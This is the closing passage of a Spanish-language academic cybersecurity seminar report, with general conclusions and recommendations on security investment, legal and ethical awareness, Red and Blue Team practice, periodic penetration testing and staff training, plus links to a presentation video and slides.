
Implementar un plan de respuesta a incidentes de seguridad.

3. Conclusiones que orienten aspectos importantes en cuando a la inversion de

ciberseguridad dentro de las organizaciones, deben tener en cuenta cada una de las

etapas que se ejecutaron a lo largo del seminario para poder ejecutar estas

conclusiones y soportar a la alta gerencia la necesidad de inversion.

Los ataques cibernéticos estan y seguiran aumentando en todo el mundo, por lo
cual contar con un Sistema de Gestién de Seguridad de la Informacion se hace

cada vez mas necesario para las empresas, tan importante como el control de
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otros riesgos, la seguridad de los datos es un aspecto principal para la operacién
de las organizaciones.

Los costos que para una organizacion se pueden generar en caso de un
ciberataque son muy grandes, tanto en términos econémicos como en términos
reputacionales, por eso se debe pensar en la prevencién antes que en la
correccion la cual puede ser demasiado costosa e irreparable.

La seguridad de la informacién es un &rea que debe permanecer siempre en
movimiento, controlando y actualizando sus conocimientos, realizando pruebas,
evaluando controles para no quedarse corto en la respuesta a los incidentes que
se puedan presentar y con técnicas que los delincuentes mejoran a diario.

Las pruebas de seguridad tanto de ataque como de defensa son indispensables
para que las organizaciones puedan evaluar su estado, sus vulnerabilidades y
sus posibilidades de mejora con el fin de fortalecer su seguridad permaneciendo

actualizado y preparado para los ataques a los que se puede enfrentar.
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5.6 ENLACE VIDEO DE SOCIALIZACION DEL INFORME TECNICO:

Video Youtube:
https://youtu.be/6BScpTWoOfE?si=LUuaHV|7AynsKY9Y

Archivo presentacion:

https://docs.google.com/presentation/d/1uB04eT -

xa3HskploR tmbhHEgp2phNGk/edit?usp=sharing&ouid=117992882604531751041&rt
pof=true&sd=true
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https://docs.google.com/presentation/d/1uB04eT-xa3Hskp1oR_tmbhHEgp2phNGk/edit?usp=sharing&ouid=117992882604531751041&rtpof=true&sd=true
https://docs.google.com/presentation/d/1uB04eT-xa3Hskp1oR_tmbhHEgp2phNGk/edit?usp=sharing&ouid=117992882604531751041&rtpof=true&sd=true
https://docs.google.com/presentation/d/1uB04eT-xa3Hskp1oR_tmbhHEgp2phNGk/edit?usp=sharing&ouid=117992882604531751041&rtpof=true&sd=true

6. CONCLUSIONES

Es muy importante que todos los profesionales, personal técnico, tecnoldgico vy
auxiliares que realizan algun tipo de actividad profesional para empresas o terceros,
conozcan el marco legal que rige en el pais donde se desempefie con el fin de no llegar

a cometer actos ilicitos que puedan terminar con sanciones econémicas y penales.

Por otro lado, se debe tener en cuenta el codigo de ética profesional con el fin de
garantizar que las actividades que se ejerzan estén alineadas las normas y conductas
éticas que no afecten el buen nombre propio ni de las instituciones, ademas de no

causar dafios a terceros.

Los equipos especializados en ciberseguridad, Red Team y Blue Team, son una
solucion holistica o complemento necesario en la busqueda de acciones que busquen
mitigar las consecuencias que puede tener la ocurrencia de un ataque cibernético, ya
gue se encargan de mantener los controles vigentes frente a las actualizaciones de los

ciberdelincuentes.

Finalmente, para los especialistas en ciberseguridad es fundamental permanecer
actualizando sus conocimientos por medio de articulos, foros o demas medios de
informacion que le permitan saber cuales son las herramientas que debe conocer y
manejar, y las estrategias que estan usando los cibercriminales para poder brindar las

capacidades en seguridad que requieren las organizaciones
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7. RECOMENDACIONES

El uso de tecnologias como el uso de Blue y Red Team, es una metodologia que
requiere un continuo interés de aprendizaje y actualizacion, por lo cual, ademas de
conocer los avances de las nuevas y actuales herramientas, es importante ingresar a
comunicades de seguridad informatica donde se comparten experiencias, se comparte

informacién y se pueden resolver dudas o resolver problemas en conjunto.

Con el fin de garantizar que permanezcan actualizados y preparados los elementos de
seguridad del sistema ante un posible ataque, es necesario realizar pruebas de
penetracion en forma periodica con las que se pueda identificar nuevas vulnerabilidades
explotables, ademas de contar con herramientas de monitoreo de redes y elementos

como IDS e IPS que generen las alarmas para la toma de medidas de seguridad.

La responsabilidad de la seguridad de la informacidon en una organizacion es
compartida con cada una de las partes que interactian en el sistema y no solo del area
TI, teniendo en cuenta que uno de los factores de ataque preferidos y mas explotados
por los atacantes en la ingenieria social para la captura de informacion importante al
momento de iniciar un ataque, se hace necesario realizar capacitaciones periodicas que
concienticen a los usuarios de su responsabilidad y compromiso con la seguridad y
generar los procedimientos y documentacién pertinente que le brinde la solidez

pertinente a los procesos ejecutados.

El uso de metodologias como las que se ofrecen en equipos Blue y Red son parte de
un conjunto de elementos que conforman las medidas o estrategias de seguridad en las
organizaciones, generalmente deben ser parte de la implementacion de un SGSI
(Sistema de Gestion de Seguridad de la Informacion) en los que se establece la
planeacién, procedimientos, politicas y acciones en funcion de la seguridad de la

informacion.
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El experto en seguridad informética debe estar continuamente actualizado en aspectos
legales que rigen al realizar actuaciones en redes informaticas y en el uso de
herramientas, asi como realizar el andlisis completo de estas implicaciones legales a

sus actuaciones al recibir una oferta laboral.
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